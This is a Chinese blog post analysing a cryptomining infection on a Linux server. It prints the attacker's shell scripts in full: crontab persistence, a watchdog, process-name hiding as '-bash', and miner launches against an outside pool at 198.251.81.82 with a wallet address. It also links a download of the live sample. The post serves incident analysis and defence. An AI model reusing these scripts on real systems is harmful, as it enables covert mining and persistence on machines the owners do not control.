下载链接: http://download.csdn.net/download/landehutu/10218235
背景:前几天写了一下遭遇挖矿程序后的处理步骤,当时弄了一个活体下来,但是没有说明那几个程序的细节,今天补上。
程序细节说明:
黑客先找到系统的漏洞,获得相应权限以后,在oracle用户目录下创建了一个隐藏目录:.data_oracle,linux下小数点开头的ls不加 -a 参数就看不到。
然后把文件都上传到目录中,包括:
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 a
-rw-r--r--. 1 oracle oinstall 0 1月 18 11:46 bash.pid
-rw-r--r--. 1 oracle oinstall 0 1月 18 11:46 cron.d
-rw-r--r--. 1 oracle oinstall 0 1月 18 11:46 dir.dir
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 h32 : 这个32bit进程是用来隐藏进程名称的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 h64 : 这个64bit进程是用来隐藏进程名称的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 md : 这个是64bit的挖矿程序
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 md32 : 这个是32bit的挖矿程序
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 mdx : 这个也是挖矿程序,只不过硬件架构不是i686或x86_64的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 run
-rwxr--r--. 1 oracle oinstall 0 1月 18 11:46 upd : 这个文件是后来由a文件生成的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 x
现在开始依次聊聊文件内容:
上传完文件后,首先执行文件x
nohup ./a >>/dev/null & |
这句很简单,就是执行当前目录(/home/oracle/.data_oracle)下的文件a,其他内容我就啰嗦点讲下吧。这行命令其实是三段: nohup和./a >>/dev/null 和 &,/dev/null是个设备文件,其实就是windows下的垃圾站,是个空文件,意思是所有a文件产生的输出都别显示了,就直接扔进了碎纸机里面。& 是后台执行,那为什么还有个nohup呢,比如你在windows下,当前执行了一个程序,如果注销当前用户,这个程序也会退出,那怎么办呢,只有把这个程序交给操作系统去执行,这样就算注销了当前用户,程序还可以继续执行,nohup就是干这个的。
再来看看a:
pwd > dir.dir dir=$(cat dir.dir) echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > upd chmod u+x upd ./upd |
第一句是把当前目录名称写入文件dir.dir中;
第二句变量dir取得了当前目录;
第三句将crontab内容写入cron.d文件,随后一句就加载进入crontab,crontab就是windows的计划任务,定时执行任务的,crontab的命令格式是:
minute hour day month week command
所以 * * * * * $dir/upd >/dev/null 2>&1 意思就是一直执行upd文件,/dev/null就不讲了, 2>&1的意思是错误文件输出到标准输出中,下面是百度抄的,还看不懂的话,需要实际做做。
1)标准输入 即 STDIN , 在 /dev/stdin ,
一般指键盘输入, shell里代号是 0
2) 标准输出 STDOUT, 在 /dev/stdout,
一般指终端(terminal), 就是显示器, shell里代号是 1
3) 标准错误 STDERR, 在 /dev/stderr
也是指终端(terminal), 不同的是, 错误信息送到这里
shell里代号是 2
后面代码是echo一段代码输出到文件upd中,然后给upd赋予执行权限,最后执行upd文件。先看看上面生成的文件:
dir.dir:/home/oracle/.data_oracle
cron.d:* * * * * /home/oracle/.data_oracle/upd >/dev/null 2>&1
讲讲upd:
#!/bin/sh if test -r /home/oracle/.data_oracle/bash.pid; then pid=$(cat /home/oracle/.data_oracle/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /home/oracle/.data_oracle ./run &>/dev/null |
首先检查一下文件 /home/oracle/.data_oracle/bash.pid 是否可读,如果可读,就读出里面的进程pid,直接kill掉,重新执行run。
看下进程id的文件bash.pid : 38790
run文件才是真正的启动命令的文件:
#!/bin/bash
proc=`nproc` ARCH=`uname -m` HIDE="-bash"
if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & else ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & fi echo $! > bash.pid |
这个核心文件就是读出操作系统的硬件架构,如果是i386就执行32位的h32和md32,猜测h32是用于让系统显示的进程名称,md32才是真正的挖矿程序。执行完成了就把进程id写入bash.pid中。
总结一下:
找系统漏洞;
获取权限;
创建目录;
上传文件;
执行x,执行a;
a启动crontab执行upd,生成upd并赋权;
upd去执行run;
run去执行真正的挖矿程序。